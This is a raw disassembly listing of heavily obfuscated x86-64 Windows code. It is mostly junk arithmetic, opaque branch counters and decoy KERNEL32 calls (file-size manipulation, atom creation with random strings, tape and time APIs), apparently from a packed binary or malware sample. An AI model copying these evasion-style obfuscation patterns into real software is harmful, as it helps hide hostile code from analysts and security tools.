movzx eax, byte [rsp + 0x570]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18b], al
jmp 0x14001afa1
mov rax, qword [rsp + 0xda48]
mov qword [rsp + 0x103a8], rax
mov eax, dword [rsp + 0x7fb8]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
lea rax, [rsp + 0x8050]
mov qword [rsp + 0x103b0], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28d8], ax
movzx eax, word [rsp + 0x28f8]
mov word [rsp + 0x291c], ax
movzx eax, byte [0x140221da0]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc0], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xeabb
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x801c], eax
movzx eax, byte [rsp + 0x571]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x140221d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xd2f0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xd638]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7fa8]
mov rcx, qword [rsp + 0x101d0]
mov qword [rsp + 0x103b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x103b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7d50], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x103a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
movzx eax, word [rsp + 0x290c]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2694], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
and eax, ecx
mov byte [rsp + 0x56f], al
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [0x140211038]
sub eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x103b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140221d88], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x102a0], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x103a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xda48], rax
mov eax, dword [rsp + 0x7fc8]
add eax, 0xd7
mov dword [rsp + 0x7fc8], eax
mov eax, dword [0x140211394]
movzx ecx, al
mov eax, dword [rsp + 0x7fb8]
shr eax, cl
mov dword [rsp + 0x7f54], eax
mov eax, dword [rsp + 0x7fcc]
mov rcx, qword [rsp + 0x103b0]
mov qword [rsp + 0x103c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x103c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2708], ax
movsx eax, word [rsp + 0x2908]
movsx ecx, word [rsp + 0x1b14]
or eax, ecx
mov word [rsp + 0x2910], ax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10218]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcf70], rax
mov rax, qword [0x140221d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x571]
add eax, ecx
mov byte [0x140221da0], al
movzx eax, word [rsp + 0x1f28]
movzx ecx, word [rsp + 0x2914]
sub eax, ecx
mov word [rsp + 0x28fc], ax
cmp dword [rsp + 0x7fc8], 0x9b4c
jb 0x14001b577
mov eax, dword [rsp + 0x7f8c]
mov dword [rsp + 0x8060], eax
cmp dword [rsp + 0x8060], 0xbd8a
je 0x14001b865
jmp 0x14001b8f1
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d1c]
add eax, ecx
mov word [rsp + 0x2904], ax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [0x140211398]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x103a8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f4c], eax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x573]
add eax, ecx
mov byte [rsp + 0x1c3], al
jmp 0x14001ba1c
movzx eax, byte [rsp + 0x18b]
movzx ecx, byte [rsp + 0x571]
sub eax, ecx
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f4c]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7f8c]
mov edx, dword [rsp + 0x7f54]
shl edx, cl
mov ecx, edx
cmp eax, ecx
ja 0x14001b9d3
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x103c8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
lea rax, [rsp + 0x1b14]
mov qword [rsp + 0x103d0], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2694]
sar eax, cl
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x102a0]
and rcx, rax
mov rax, rcx
mov qword [0x1402113b0], rax
mov dword [rsp + 0x8064], 0x28ba
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xd518]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcf70], rax
jmp 0x14001ba1c
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f4c]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7f54]
mov edx, dword [rsp + 0x7f8c]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14001ba1c
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xcf70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10310], rax
cmp dword [rsp + 0x7fe8], 0xa219
je 0x14001be73
mov rax, qword [rsp + 0x10208]
mov ecx, dword [0x140221d8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x102d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
movzx eax, word [rsp + 0x28fc]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
sub eax, ecx
mov byte [rsp + 0x2ff], al
movsx eax, word [rsp + 0x2900]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d1c], ax
mov eax, dword [rsp + 0x7fe8]
add eax, 0xfc
mov dword [rsp + 0x7fe8], eax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xcf70]
add rcx, rax
mov rax, rcx
mov qword [0x1402113b0], rax
mov rax, qword [0x1402113b0]
mov rcx, qword [rsp + 0x10348]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1f28]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x290c], ax
mov rcx, qword [rsp + 0x102d0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x8014], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x7fdc], eax
mov eax, dword [rsp + 0x787c]
movzx ecx, al
mov eax, dword [rsp + 0x7fcc]
shl eax, cl
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x56e]
and eax, ecx
mov byte [rsp + 0x572], al
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [0x1402113a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x103b0]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140211398], eax
movsx eax, word [rsp + 0x28f8]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28dc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx eax, word [rsp + 0x14c4]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7fb8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x103b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x102d8]
mov qword [rsp + 0x103d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x103d8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x290c]
or eax, ecx
mov rcx, qword [rsp + 0x101f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0x56f]
shl eax, cl
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
lea rcx, str.FWUZB_GmUnk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2918], ax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2904], ax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xcf70]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140221d90], rax
mov rax, qword [rsp + 0x10310]
mov rcx, qword [rsp + 0xd638]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10310]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd638], rax
movzx eax, byte [0x140221da0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56d], al
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x56e]
add eax, ecx
mov byte [rsp + 0x573], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xc0d9
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8068], eax
mov rax, qword [0x1402113a0]
mov rcx, qword [rsp + 0x103a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0x103b0]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7fb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b14], ax
jmp 0x14001ba1c
mov rax, qword [rsp + 0x10258]
movzx eax, word [rax]
mov word [0x140221d84], ax
movzx eax, word [rsp + 0x14c4]
movzx ecx, word [rsp + 0x2708]
and eax, ecx
mov word [rsp + 0x290c], ax
movzx eax, word [rsp + 0x2904]
mov word [rsp + 0x2920], ax
movzx eax, word [rsp + 0x28f0]
movzx ecx, word [rsp + 0x1f28]
sar eax, cl
mov word [rsp + 0x28fc], ax
movzx eax, byte [rsp + 0x2ff]
mov byte [rsp + 0x574], al
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x103b0]
mov qword [rsp + 0x103e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x103e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7f70], eax
mov eax, dword [rsp + 0x7fb8]
mov dword [rsp + 0x806c], eax
mov edx, 0x2b1f42
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x8010], eax
movzx ecx, word [rsp + 0x28f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e0], ax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0x103a8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [0x140221d90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140221da0], al
movsx eax, word [rsp + 0x2900]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d1c], ax
movzx eax, word [rsp + 0x2914]
movzx ecx, word [rsp + 0x1f28]
and eax, ecx
mov word [rsp + 0x28f0], ax
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x56b]
sub eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x101e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10228]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x103a8], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8040]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x787c], eax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
lea rdx, [rsp + 0x26608]
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x8070], eax
movsx eax, word [rsp + 0x2900]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [0x14021139c], ax
movzx ecx, word [rsp + 0x28ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e0], ax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ff], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [0x1402113b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0x10358]
mov qword [rsp + 0x103e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x103e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10218], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x28f0], ax
mov eax, dword [rsp + 0x7fcc]
movzx ecx, al
mov eax, dword [rsp + 0x8040]
sar eax, cl
mov dword [rsp + 0x7f70], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov edx, 0x3fb306
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x8070], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [0x1402113a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x291c], ax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10218]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
movsx eax, byte [rsp + 0x572]
movsx ecx, byte [rsp + 0x56e]
add eax, ecx
mov byte [rsp + 0x573], al
movsx eax, word [rsp + 0x2908]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d1c], ax
mov eax, dword [rsp + 0x7f74]
add eax, 0xd7
mov dword [rsp + 0x7f74], eax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2914]
sub eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x8050]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x101c8]
shl rax, cl
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [0x140211394]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x18b], al
movzx eax, word [rsp + 0x14c4]
movzx ecx, word [rsp + 0x1f28]
or eax, ecx
mov word [0x140211390], ax
movsx eax, word [rsp + 0x2908]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2920], ax
movzx ecx, word [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28ec], ax
cmp dword [rsp + 0x7f74], 0x129e3
jbe 0x14001bf46
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xcf70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd2f0], rax
movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [rsp + 0x1c3]
add eax, ecx
movsx ecx, byte [rsp + 0x56e]
movsx edx, byte [rsp + 0x573]
sub ecx, edx
cmp eax, ecx
jg 0x1401f44c3
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402113b8], ax
movsx eax, byte [rsp + 0x572]
movsx ecx, byte [rsp + 0x56b]
or eax, ecx
mov byte [rsp + 0x56c], al
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ff]
xor eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd2f0]
sar rax, cl
mov qword [rsp + 0xcf70], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x290c]
and eax, ecx
mov word [rsp + 0x2694], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x101c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f4c], eax
movzx ecx, word [rsp + 0x28f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28ec], ax
movsx eax, word [0x1402113b8]
movsx ecx, word [rsp + 0x1d1c]
sub eax, ecx
mov word [rsp + 0x1b14], ax
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
mov rax, qword [0x1402113b0]
mov rcx, qword [rsp + 0xd638]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10348], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f28]
sub eax, ecx
mov word [rsp + 0x28f0], ax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x570], al
movsx eax, word [0x1402113b8]
movsx ecx, word [rsp + 0x2908]
add eax, ecx
mov word [rsp + 0x28f8], ax
mov eax, dword [rsp + 0x7fb8]
mov rcx, qword [rsp + 0x10208]
mov qword [rsp + 0x103f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x103f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xda48]
shr rax, cl
mov qword [rsp + 0x101c8], rax
movsx eax, byte [0x140211038]
movsx ecx, byte [rsp + 0x572]
or eax, ecx
mov byte [rsp + 0x56b], al
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x2908]
and eax, ecx
mov word [rsp + 0x2900], ax
movzx eax, byte [rsp + 0x56f]
movzx ecx, byte [rsp + 0x570]
sub eax, ecx
mov byte [0x140221da0], al
mov eax, dword [rsp + 0x7fe0]
add eax, 0x93
mov dword [rsp + 0x7fe0], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14c4]
sub eax, ecx
mov word [rsp + 0x2914], ax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [0x1402113b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd2f0], rax
cmp dword [rsp + 0x7fe0], 0xac44
jne 0x14001c409
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd638]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe6b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Ih209Zh7jqHSoi1Wazan9K
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x103f8], rax
lea rax, [rsp + 0x103a8]
mov qword [rsp + 0x10400], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [0x140221d88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x56c]
sub eax, ecx
movsx ecx, byte [rsp + 0x573]
movsx edx, byte [rsp + 0x56e]
and ecx, edx
cmp eax, ecx
jle 0x14001c7e1
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [0x140221d90]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcf70], rax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
movzx eax, byte [rsp + 0x2ff]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x8050]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7d50], eax
jmp 0x1401f4414
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov qword [rsp + 0x10408], rax
lea rax, [rsp + 0x56b]
mov qword [rsp + 0x10410], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x806c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f54], eax
movsx eax, word [rsp + 0x291c]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2920], ax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140221da0], al
mov eax, dword [rsp + 0x8030]
sub eax, 0x98
mov dword [rsp + 0x8030], eax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
add eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2694], ax
movzx ecx, word [rsp + 0x28f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2924], ax
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x2694]
shl eax, cl
mov rcx, qword [rsp + 0x10220]
mov word [rcx], ax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7fa8]
sar eax, cl
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10408]
mov rcx, qword [rsp + 0x103a8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x806c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56f]
add eax, ecx
mov byte [rsp + 0x574], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14c4]
add eax, ecx
mov word [rsp + 0x2914], ax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140221d84], ax
